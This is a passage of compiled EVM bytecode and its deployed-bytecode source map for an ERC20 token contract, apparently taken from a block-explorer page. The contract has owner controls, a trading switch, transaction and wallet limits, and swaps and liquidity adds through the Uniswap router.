160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506127e9565b905092915050565b6000600267ffffffffffffffff811115612e5257612e51613d0b565b5b604051908082528060200260200182016040528015612e805781602001602082028036833780820191505090505b5090503081600081518110612e9857612e97613d3a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612f3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f619190613d7e565b81600181518110612f7557612f74613d3a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612fda307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611d29565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161303c959493929190613ea4565b600060405180830381600087803b15801561305657600080fd5b505af115801561306a573d6000803e3d6000fd5b505050505050565b61309d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611d29565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161310296959493929190613efe565b60606040518083038185885af1158015613120573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131459190613f74565b5050505050565b60008083118290613193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161318a919061323f565b60405180910390fd5b50600083856131a29190613beb565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156131e95780820151818401526020810190506131ce565b60008484015250505050565b6000601f19601f8301169050919050565b6000613211826131af565b61321b81856131ba565b935061322b8185602086016131cb565b613234816131f5565b840191505092915050565b600060208201905081810360008301526132598184613206565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061329182613266565b9050919050565b6132a181613286565b81146132ac57600080fd5b50565b6000813590506132be81613298565b92915050565b6000819050919050565b6132d7816132c4565b81146132e257600080fd5b50565b6000813590506132f4816132ce565b92915050565b6000806040838503121561331157613310613261565b5b600061331f858286016132af565b9250506020613330858286016132e5565b9150509250929050565b60008115159050919050565b61334f8161333a565b82525050565b600060208201905061336a6000830184613346565b92915050565b6133798161333a565b811461338457600080fd5b50565b60008135905061339681613370565b92915050565b600080604083850312156133b3576133b2613261565b5b60006133c1858286016132af565b92505060206133d285828601613387565b9150509250929050565b6000602082840312156133f2576133f1613261565b5b6000613400848285016132af565b91505092915050565b613412816132c4565b82525050565b600060208201905061342d6000830184613409565b92915050565b60006020828403121561344957613448613261565b5b600061345784828501613387565b91505092915050565b60008060006060848603121561347957613478613261565b5b6000613487868287016132af565b9350506020613498868287016132af565b92505060406134a9868287016132e5565b9150509250925092565b600060ff82169050919050565b6134c9816134b3565b82525050565b60006020820190506134e460008301846134c0565b92915050565b6134f381613286565b82525050565b600060208201905061350e60008301846134ea565b92915050565b60006020828403121561352a57613529613261565b5b6000613538848285016132e5565b91505092915050565b600061010082019050613557600083018b613409565b613564602083018a613409565b6135716040830189613409565b61357e6060830188613409565b61358b6080830187613409565b61359860a0830186613409565b6135a560c0830185613409565b6135b260e0830184613409565b9998505050505050505050565b600080604083850312156135d6576135d5613261565b5b60006135e4858286016132af565b92505060206135f5858286016132af565b9150509250929050565b6000819050919050565b600061362461361f61361a84613266565b6135ff565b613266565b9050919050565b600061363682613609565b9050919050565b60006136488261362b565b9050919050565b6136588161363d565b82525050565b6000602082019050613673600083018461364f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806136c057607f821691505b6020821081036136d3576136d2613679565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061370f6020836131ba565b915061371a826136d9565b602082019050919050565b6000602082019050818103600083015261373e81613702565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f5f756e6970616972416464720000000000000000000000000000000000000000602082015250565b60006137a1602c836131ba565b91506137ac82613745565b604082019050919050565b600060208201905081810360008301526137d081613794565b9050919050565b600081905092915050565b50565b60006137f26000836137d7565b91506137fd826137e2565b600082019050919050565b6000613813826137e5565b9150819050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006138796026836131ba565b91506138848261381d565b604082019050919050565b600060208201905081810360008301526138a88161386c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006138e9826132c4565b91506138f4836132c4565b925082820190508082111561390c5761390b6138af565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613948601b836131ba565b915061395382613912565b602082019050919050565b600060208201905081810360008301526139778161393b565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006139b46016836131ba565b91506139bf8261397e565b602082019050919050565b600060208201905081810360008301526139e3816139a7565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613a466035836131ba565b9150613a51826139ea565b604082019050919050565b60006020820190508181036000830152613a7581613a39565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613ad86036836131ba565b9150613ae382613a7c565b604082019050919050565b60006020820190508181036000830152613b0781613acb565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613b446013836131ba565b9150613b4f82613b0e565b602082019050919050565b60006020820190508181036000830152613b7381613b37565b9050919050565b6000613b85826132c4565b9150613b90836132c4565b9250828202613b9e816132c4565b91508282048414831517613bb557613bb46138af565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613bf6826132c4565b9150613c01836132c4565b925082613c1157613c10613bbc565b5b828204905092915050565b6000613c27826132c4565b9150613c32836132c4565b9250828203905081811115613c4a57613c496138af565b5b92915050565b6000604082019050613c656000830185613409565b613c726020830184613409565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cd56021836131ba565b9150613ce082613c79565b604082019050919050565b60006020820190508181036000830152613d0481613cc8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613d7881613298565b92915050565b600060208284031215613d9457613d93613261565b5b6000613da284828501613d69565b91505092915050565b6000819050919050565b6000613dd0613dcb613dc684613dab565b6135ff565b6132c4565b9050919050565b613de081613db5565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e1b81613286565b82525050565b6000613e2d8383613e12565b60208301905092915050565b6000602082019050919050565b6000613e5182613de6565b613e5b8185613df1565b9350613e6683613e02565b8060005b83811015613e97578151613e7e8882613e21565b9750613e8983613e39565b925050600181019050613e6a565b5085935050505092915050565b600060a082019050613eb96000830188613409565b613ec66020830187613dd7565b8181036040830152613ed88186613e46565b9050613ee760608301856134ea565b613ef46080830184613409565b9695505050505050565b600060c082019050613f1360008301896134ea565b613f206020830188613409565b613f2d6040830187613dd7565b613f3a6060830186613dd7565b613f4760808301856134ea565b613f5460a0830184613409565b979650505050505050565b600081519050613f6e816132ce565b92915050565b600080600060608486031215613f8d57613f8c613261565b5b6000613f9b86828701613f5f565b9350506020613fac86828701613f5f565b9250506040613fbd86828701613f5f565b915050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203363bbe4d06e51c2c2a86073176bb53732c855919f669ddc4f90a2c2dd54c86364736f6c63430008120033
Deployed Bytecode Sourcemap
20783:12376:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;24738:4;24716:27;;:10;:27;;;24708:36;;;;;;20783:12376;;;;;5865:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8649:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29189:197;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21869:63;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6982:107;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21173:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27221:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22049:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21133:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12173:354;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22084:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21783:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6825:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8285:217;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25770:182;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21998:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22158:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;33035:121;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21743:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25374:388;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29536:141;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7152:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14057:148;;;;;;;;;;;;;:::i;:::-;;29054:127;;;;;;;;;;;;;:::i;:::-;;26686:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13233:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6083:103;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26240:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22120:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9320:268;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7491:174;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22193:288;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;;;;;;;;26402:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7728:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26538:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21939:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21213:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13464:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20856:42;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5865:99;5918:13;5951:5;5944:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5865:99;:::o;8649:168::-;8731:4;8748:39;8757:12;:10;:12::i;:::-;8771:7;8780:6;8748:8;:39::i;:::-;8805:4;8798:11;;8649:168;;;;:::o;29189:197::-;12825:12;:10;:12::i;:::-;12815:22;;:6;;;;;;;;;;;:22;;;12807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;29279:13:::1;;;;;;;;;;;29271:21;;:4;:21;;::::0;29263:78:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;29373:5;29352:12;:18;29365:4;29352:18;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;29189:197:::0;;:::o;21869:63::-;;;;;;;;;;;;;;;;;;;;;;:::o;6982:107::-;7042:7;7069:12;;7062:19;;6982:107;:::o;21173:33::-;;;;:::o;27221:103::-;12825:12;:10;:12::i;:::-;12815:22;;:6;;;;;;;;;;;:22;;;12807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;27309:7:::1;27293:13;;:23;;;;;;;;;;;;;;;;;;27221:103:::0;:::o;22049:28::-;;;;:::o;21133:33::-;;;;:::o;12173:354::-;12312:4;12329:36;12339:6;12347:9;12358:6;12329:9;:36::i;:::-;12376:121;12385:6;12393:12;:10;:12::i;:::-;12407:89;12445:6;12407:89;;;;;;;;;;;;;;;;;:11;:19;12419:6;12407:19;;;;;;;;;;;;;;;:33;12427:12;:10;:12::i;:::-;12407:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;12376:8;:121::i;:::-;12515:4;12508:11;;12173:354;;;;;:::o;22084:29::-;;;;:::o;21783:24::-;;;;;;;;;;;;;:::o;6825:92::-;6882:5;6907:2;6900:9;;6825:92;:::o;8285:217::-;8372:4;8389:83;8398:12;:10;:12::i;:::-;8412:7;8421:50;8460:10;8421:11;:25;8433:12;:10;:12::i;:::-;8421:25;;;;;;;;;;;;;;;:34;8447:7;8421:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8389:8;:83::i;:::-;8490:4;8483:11;;8285:217;;;;:::o;25770:182::-;25808:12;25833:15;25851:21;25833:39;;25904:14;;;;;;;;;;;25896:28;;25932:7;25896:48;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25883:61;;;;;25822:130;25770:182;:::o;21998:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;22158:28::-;;;;;;;;;;;;;:::o;33035:121::-;33100:4;33124:15;:24;33140:7;33124:24;;;;;;;;;;;;;;;;;;;;;;;;;33117:31;;33035:121;;;:::o;21743:33::-;;;;;;;;;;;;;:::o;25374:388::-;12825:12;:10;:12::i;:::-;12815:22;;:6;;;;;;;;;;;:22;;;12807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;25455:5:::1;25439:13;;:21;;;;;;;;;;;;;;;;;;25485:4;25471:11;;:18;;;;;;;;;;;;;;;;;;25516:4;25500:13;;:20;;;;;;;;;;;;;;;;;;25553:12;25531:19;:34;;;;25615:4;25576:12;:36;25597:13;;;;;;;;;;;25576:36;;;;;;;;;;;;;;;;:43;;;;;;;;;;;;;;;;;;25688:4;25630:31;:55;25670:13;;;;;;;;;;;25630:55;;;;;;;;;;;;;;;;:62;;;;;;;;;;;;;;;;;;25750:4;25703:20;:44;25732:13;;;;;;;;;;;25703:44;;;;;;;;;;;;;;;;:51;;;;;;;;;;;;;;;;;;25374:388:::0;:::o;29536:141::-;29614:55;29635:5;29642:18;;;;;;;;;;;29662:6;29614:20;:55::i;:::-;29536:141;;:::o;7152:126::-;7225:7;7252:9;:18;7262:7;7252:18;;;;;;;;;;;;;;;;7245:25;;7152:126;;;:::o;14057:148::-;12825:12;:10;:12::i;:::-;12815:22;;:6;;;;;;;;;;;:22;;;12807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14164:1:::1;14127:40;;14148:6;;;;;;;;;;;14127:40;;;;;;;;;;;;14195:1;14178:6;;:19;;;;;;;;;;;;;;;;;;14057:148::o:0;29054:127::-;12825:12;:10;:12::i;:::-;12815:22;;:6;;;;;;;;;;;:22;;;12807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;29108:32:::1;29130:4;29135::::0;29108:21:::1;:32::i;:::-;29151:22;29168:4;29151:16;:22::i;:::-;29054:127::o:0;26686:144::-;12825:12;:10;:12::i;:::-;12815:22;;:6;;;;;;;;;;;:22;;;12807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;26818:4:::1;26776:31;:39;26808:6;26776:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;26686:144:::0;;:::o;13233:78::-;13270:7;13297:6;;;;;;;;;;;13290:13;;13233:78;:::o;6083:103::-;6138:13;6171:7;6164:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6083:103;:::o;26240:156::-;26323:4;12825:12;:10;:12::i;:::-;12815:22;;:6;;;;;;;;;;;:22;;;12807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;26357:9:::1;26339:15;:27;;;;26384:4;26377:11;;26240:156:::0;;;:::o;22120:31::-;;;;:::o;9320:268::-;9412:4;9429:129;9438:12;:10;:12::i;:::-;9452:7;9461:96;9500:15;9461:96;;;;;;;;;;;;;;;;;:11;:25;9473:12;:10;:12::i;:::-;9461:25;;;;;;;;;;;;;;;:34;9487:7;9461:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;9429:8;:129::i;:::-;9576:4;9569:11;;9320:268;;;;:::o;7491:174::-;7576:4;7593:42;7603:12;:10;:12::i;:::-;7617:9;7628:6;7593:9;:42::i;:::-;7653:4;7646:11;;7491:174;;;;:::o;22193:288::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;26402:128::-;12825:12;:10;:12::i;:::-;12815:22;;:6;;;;;;;;;;;:22;;;12807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;26514:8:::1;26487:15;:24;26503:7;26487:24;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;26402:128:::0;;:::o;7728:150::-;7816:7;7843:11;:18;7855:5;7843:18;;;;;;;;;;;;;;;:27;7862:7;7843:27;;;;;;;;;;;;;;;;7836:34;;7728:150;;;;:::o;26538:140::-;12825:12;:10;:12::i;:::-;12815:22;;:6;;;;;;;;;;;:22;;;12807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;26662:8:::1;26630:20;:29;26651:7;26630:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;26538:140:::0;;:::o;21939:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;21213:35::-;;;;:::o;13464:244::-;12825:12;:10;:12::i;:::-;12815:22;;:6;;;;;;;;;;;:22;;;12807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13573:1:::1;13553:22;;:8;:22;;::::0;13545:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;13663:8;13634:38;;13655:6;;;;;;;;;;;13634:38;;;;;;;;;;;;13692:8;13683:6;;:17;;;;;;;;;;;;;;;;;;13464:244:::0;:::o;20856:42::-;;;:::o;3923:180::-;3980:7;4000:9;4016:1;4012;:5;;;;:::i;:::-;4000:17;;4041:1;4036;:6;;4028:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;4094:1;4087:8;;;3923:180;;;;:::o;3533:97::-;3585:7;3612:10;3605:17;;3533:97;:::o;10872:220::-;11030:6;11000:11;:18;11012:5;11000:18;;;;;;;;;;;;;;;:27;11019:7;11000:27;;;;;;;;;;;;;;;:36;;;;11068:7;11052:32;;11061:5;11052:32;;;11077:6;11052:32;;;;;;:::i;:::-;;;;;;;;10872:220;;;:::o;29685:3342::-;29823:1;29813:6;:11;29809:93;;29841:28;29857:4;29863:2;29867:1;29841:15;:28::i;:::-;29884:7;;29809:93;29938:7;:5;:7::i;:::-;29930:15;;:4;:15;;;;:45;;;;;29968:7;:5;:7::i;:::-;29962:13;;:2;:13;;;;29930:45;:75;;;;;29993:12;;;;;;;;;;;29992:13;29930:75;29912:828;;;30037:11;;;;;;;;;;;30032:132;;30077:15;:21;30093:4;30077:21;;;;;;;;;;;;;;;;;;;;;;;;;:44;;;;30102:15;:19;30118:2;30102:19;;;;;;;;;;;;;;;;;;;;;;;;;30077:44;30069:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;30032:132;30182:12;:18;30195:4;30182:18;;;;;;;;;;;;;;;;;;;;;;;;;:58;;;;;30205:31;:35;30237:2;30205:35;;;;;;;;;;;;;;;;;;;;;;;;;30204:36;30182:58;30178:397;;;30279:13;;30269:6;:23;;30261:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;30178:397;;;30389:12;:16;30402:2;30389:16;;;;;;;;;;;;;;;;;;;;;;;;;:58;;;;;30410:31;:37;30442:4;30410:37;;;;;;;;;;;;;;;;;;;;;;;;;30409:38;30389:58;30385:190;;;30486:14;;30476:6;:24;;30468:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;30385:190;30178:397;30594:20;:24;30615:2;30594:24;;;;;;;;;;;;;;;;;;;;;;;;;30589:140;;30673:16;;30656:13;30666:2;30656:9;:13::i;:::-;30647:6;:22;;;;:::i;:::-;:42;;30639:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;30589:140;29912:828;30753:24;30780;30798:4;30780:9;:24::i;:::-;30753:51;;30815:12;30850:15;;30830:16;:35;;30815:50;;30894:7;:37;;;;;30918:13;;;;;;;;;;;30894:37;:67;;;;;30949:12;;;;;;;;;;;30948:13;30894:67;:100;;;;;30978:12;:16;30991:2;30978:16;;;;;;;;;;;;;;;;;;;;;;;;;30894:100;:139;;;;;31012:15;:21;31028:4;31012:21;;;;;;;;;;;;;;;;;;;;;;;;;31011:22;30894:139;:176;;;;;31051:15;:19;31067:2;31051:19;;;;;;;;;;;;;;;;;;;;;;;;;31050:20;30894:176;30876:322;;;31112:4;31097:12;;:19;;;;;;;;;;;;;;;;;;31131:20;:18;:20::i;:::-;31181:5;31166:12;;:20;;;;;;;;;;;;;;;;;;30876:322;31211:15;31230:12;;;;;;;;;;;31229:13;31211:31;;31344:15;:21;31360:4;31344:21;;;;;;;;;;;;;;;;;;;;;;;;;:44;;;;31369:15;:19;31385:2;31369:19;;;;;;;;;;;;;;;;;;;;;;;;;31344:44;31340:95;;;31418:5;31405:18;;31340:95;31533:10;31529:1449;;;31560:15;31612:19;;31597:12;:34;31594:1228;;;31662:23;31681:3;31662:14;31673:2;31662:6;:10;;:14;;;;:::i;:::-;:18;;:23;;;;:::i;:::-;31652:33;;31743:2;31737;31727:7;:12;;;;:::i;:::-;31726:19;;;;:::i;:::-;31704:18;;:41;;;;;;;:::i;:::-;;;;;;;;31804:2;31799:1;31789:7;:11;;;;:::i;:::-;31788:18;;;;:::i;:::-;31764:20;;:42;;;;;;;:::i;:::-;;;;;;;;31594:1228;;;31832:12;:16;31845:2;31832:16;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;;31881:1;31852:12;:26;;;:30;31832:50;31828:994;;;31913:47;31956:3;31913:38;31924:12;:26;;;31913:6;:10;;:38;;;;:::i;:::-;:42;;:47;;;;:::i;:::-;31903:57;;32043:12;:26;;;32011:12;:29;;;32001:7;:39;;;;:::i;:::-;:68;;;;:::i;:::-;31979:18;;:90;;;;;;;:::i;:::-;;;;;;;;32152:12;:26;;;32120:12;:29;;;32110:7;:39;;;;:::i;:::-;:68;;;;:::i;:::-;32088:18;;:90;;;;;;;:::i;:::-;;;;;;;;32265:12;:26;;;32231:12;:31;;;32221:7;:41;;;;:::i;:::-;:70;;;;:::i;:::-;32197:20;;:94;;;;;;;:::i;:::-;;;;;;;;31828:994;;;32353:12;:18;32366:4;32353:18;;;;;;;;;;;;;;;;;;;;;;;;;:51;;;;;32403:1;32375:12;:25;;;:29;32353:51;32349:473;;;32435:46;32477:3;32435:37;32446:12;:25;;;32435:6;:10;;:37;;;;:::i;:::-;:41;;:46;;;;:::i;:::-;32425:56;;32563:12;:25;;;32532:12;:28;;;32522:7;:38;;;;:::i;:::-;:66;;;;:::i;:::-;32500:18;;:88;;;;;;;:::i;:::-;;;;;;;;32670:12;:25;;;32639:12;:28;;;32629:7;:38;;;;:::i;:::-;:66;;;;:::i;:::-;32607:18;;:88;;;;;;;:::i;:::-;;;;;;;;32781:12;:25;;;32748:12;:30;;;32738:7;:40;;;;:::i;:::-;:68;;;;:::i;:::-;32714:20;;:92;;;;;;;:::i;:::-;;;;;;;;32349:473;31828:994;31594:1228;32852:1;32842:7;:11;32838:97;;;32874:45;32890:4;32904;32911:7;32874:15;:45::i;:::-;32838:97;32959:7;32949:17;;;;;:::i;:::-;;;31545:1433;31529:1449;32986:33;33002:4;33008:2;33012:6;32986:15;:33::i;:::-;29798:3229;;;29685:3342;;;;:::o;4250:191::-;4335:7;4368:1;4363;:6;;4371:12;4355:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4395:9;4411:1;4407;:5;;;;:::i;:::-;4395:17;;4432:1;4425:8;;;4250:191;;;;;:::o;29394:134::-;29490:30;29499:5;29506;29513:6;29490:8;:30::i;:::-;29394:134;;;:::o;26022:210::-;26157:4;26144:9;26128:13;:11;:13::i;:::-;:25;;;;:::i;:::-;26127:34;;;;:::i;:::-;26111:13;:50;;;;26220:4;26206:10;26190:13;:11;:13::i;:::-;:26;;;;:::i;:::-;26189:35;;;;:::i;:::-;26172:14;:52;;;;26022:210;;:::o;27332:133::-;27453:4;27436:13;27420;:11;:13::i;:::-;:29;;;;:::i;:::-;27419:38;;;;:::i;:::-;27400:16;:57;;;;27332:133;:::o;10078:358::-;10240:71;10262:6;10240:71;;;;;;;;;;;;;;;;;:9;:17;10250:6;10240:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;10220:9;:17;10230:6;10220:17;;;;;;;;;;;;;;;:91;;;;10345:32;10370:6;10345:9;:20;10355:9;10345:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10322:9;:20;10332:9;10322:20;;;;;;;;;;;;;;;:55;;;;10410:9;10393:35;;10402:6;10393:35;;;10421:6;10393:35;;;;;;:::i;:::-;;;;;;;;10078:358;;;:::o;27473:1573::-;27522:27;27552:24;27570:4;27552:9;:24::i;:::-;27522:54;;27587:14;27646:20;;27625:18;;27604;;:39;;;;:::i;:::-;:62;;;;:::i;:::-;27587:79;;27706:1;27683:19;:24;27679:41;;27711:7;;;;27679:41;27776:2;27758:15;;:20;;;;:::i;:::-;27736:19;:42;27732:117;;;27835:2;27817:15;;:20;;;;:::i;:::-;27795:42;;27732:117;27910:23;27988:1;27979:6;27958:18;;27936:19;:40;;;;:::i;:::-;:49;;;;:::i;:::-;:53;;;;:::i;:::-;27910:79;;28000:26;28029:40;28053:15;28029:19;:23;;:40;;;;:::i;:::-;28000:69;;28083:25;28111:21;28083:49;;28145:50;28176:18;28145:30;:50::i;:::-;28208:18;28229:44;28255:17;28229:21;:25;;:44;;;;:::i;:::-;28208:65;;28287:23;28313:46;28352:6;28313:34;28328:18;;28313:10;:14;;:34;;;;:::i;:::-;:38;;:46;;;;:::i;:::-;28287:72;;28370:25;28398:48;28439:6;28398:36;28413:20;;28398:10;:14;;:36;;;;:::i;:::-;:40;;:48;;;;:::i;:::-;28370:76;;28457:23;28515:17;28497:15;:35;;;;:::i;:::-;28483:10;:50;;;;:::i;:::-;28457:76;;28565:1;28544:18;:22;;;;28598:1;28577:18;:22;;;;28633:1;28610:20;:24;;;;28669:1;28651:15;:19;:42;;;;;28692:1;28674:15;:19;28651:42;28647:192;;;28710:46;28723:15;28740;28710:12;:46::i;:::-;28776:51;28791:18;28811:15;28776:51;;;;;;;:::i;:::-;;;;;;;;28647:192;28849:20;28903:1;28890:10;:14;;;;:::i;:::-;28872:15;:32;;;;:::i;:::-;28849:55;;28931:18;;;;;;;;;;;28915:45;;:59;28961:12;28915:59;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29001:14;;;;;;;;;;;28985:41;;:53;29027:10;28985:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27511:1535;;;;;;;;;;27473:1573;:::o;3661:256::-;3718:7;3753:1;3748;:6;3744:47;;3778:1;3771:8;;;;3744:47;3804:9;3820:1;3816;:5;;;;:::i;:::-;3804:17;;3849:1;3844;3840;:5;;;;:::i;:::-;:10;3832:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;3908:1;3901:8;;;3661:256;;;;;:::o;4732:131::-;4789:7;4816:39;4820:1;4823;4816:39;;;;;;;;;;;;;